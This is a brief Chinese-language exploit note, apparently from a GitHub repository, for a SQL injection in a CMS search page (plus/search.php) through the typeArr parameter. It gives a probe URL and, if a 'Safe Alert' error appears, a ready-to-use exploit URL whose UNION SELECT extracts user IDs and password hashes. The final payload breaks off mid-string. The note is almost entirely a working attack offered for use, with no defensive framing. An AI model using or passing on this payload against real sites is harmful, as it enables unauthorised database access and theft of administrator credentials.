https://github.com/yuxiaokui/python

0x01    search 注入漏洞

xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a

如果提示
Safe Alert: Request Error step 2 !
那么直接用下面的exp
xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,